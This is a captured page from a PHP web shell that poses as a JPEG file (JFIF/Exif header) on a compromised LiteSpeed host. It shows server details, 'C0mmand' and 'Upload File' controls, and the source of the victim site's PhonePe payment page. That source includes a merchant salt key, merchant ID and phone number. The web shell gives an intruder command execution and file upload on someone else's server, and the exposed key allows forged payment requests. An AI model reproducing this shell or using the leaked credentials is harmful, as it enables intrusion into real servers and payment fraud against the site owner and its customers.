����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������
Server IP : 103.191.208.227 / Your IP : 52.15.120.116 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/mhmsfzcs/vflyorions.com/assets/../ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php if(isset($_POST['submit'])) { $name=$_POST['name']; $email=$_POST['email']; $contact=$_POST['contact']; $amount = $_POST['amountEnterByUsers']; //$amount=$_POST['amount']; // $message=$_POST['message']; $uniqueId = uniqid(rand(), true); $merchantKey = 'd32f4f9f-0d94-449e-980b-7044c551026e'; $data = array( "merchantId" => "STUDYLABONLINE", "merchantTransactionId" => $uniqueId, "merchantUserId" => "$uniqueId", "amount" => $amount*100, "redirectUrl" => "https://vflyorions.com/index.php", "redirectMode" => "POST", "callbackUrl" => "https:vflyorions.com/index.php", "mobileNumber" => "8956375912", "paymentInstrument" => array( "type" => "PAY_PAGE" ) ); // Convert the Payload to JSON and encode as Base64 $payloadMain = base64_encode(json_encode($data)); $payload = $payloadMain."/pg/v1/pay".$merchantKey; $Checksum = hash('sha256', $payload); $Checksum = $Checksum.'###1'; //X-VERIFY - SHA256(base64 encoded payload + "/pg/v1/pay" + salt key) + ### + salt index $curl = curl_init(); curl_setopt_array($curl, [ CURLOPT_URL => "https://api.phonepe.com/apis/hermes/pg/v1/pay", //https://api-preprod.phonepe.com/apis/pg-sandbox/pg/v1/pay CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => "", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => json_encode([ 'request' => $payloadMain ]), CURLOPT_HTTPHEADER => [ "Content-Type: application/json", "X-VERIFY: ".$Checksum, "accept: application/json" ], ]); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { // echo "cURL Error #:" . $err; header('Location: paymentfailed.php?cURLError='.$err); } else { $responseData = json_decode($response, true); $url = $responseData['data']['instrumentResponse']['redirectInfo']['url']; header('Location: '.$url); } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Phone Integration</title> <!-- Bootstrap CSS --> <link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" rel="stylesheet"> <style> body { background-color: #f0f0f0; } .container { display: flex; align-items: center; justify-content: center; flex-direction: column; height: 100vh; margin-top: 50px; /* Adjusted margin for better mobile view */ } h1 { color: #333; margin-bottom: 20px; } .card { width: 80%; /* Adjusted width for better mobile view */ max-width: 300px; padding: 20px; border-radius: 10px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); background-color: #fff; text-align: center; } form { margin-top: 20px; } label { display: block; margin-bottom: 5px; color: #555; } input { width: 100%; padding: 8px; margin-bottom: 15px; box-sizing: border-box; } button { background-color: #ffcc00; /* Highlight color */ color: #333; padding: 10px 20px; border: none; border-radius: 5px; cursor: pointer; font-size: 16px; font-weight: bold; animation: blink 1s infinite; /* Added animation */ } @keyframes blink { 0%, 100% { opacity: 1; } 50% { opacity: 0; } } button:hover { background-color: #ffd633; /* Highlight color on hover */ } hr { border: 1px solid #ddd; margin-top: 20px; margin-bottom: 20px; } </style> </head> <body> <div class="container"> <center> <h1 class="logo">Vflyorions Technologies</h1></center> <div class="card"> <h1>Pay Now</h1> <hr> <form action="#" method="post"> <label for="amountEnterByUsers">Enter Amount</label> <input type="number" name="amountEnterByUsers" id="amountEnterByUsers"> <hr> <button type="submit" class="btn btn-primary" name="submit">Pay Now</button> </form> </div> </div> <!-- Bootstrap JS and Popper.js (optional) --> <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js"></script> </body> </html>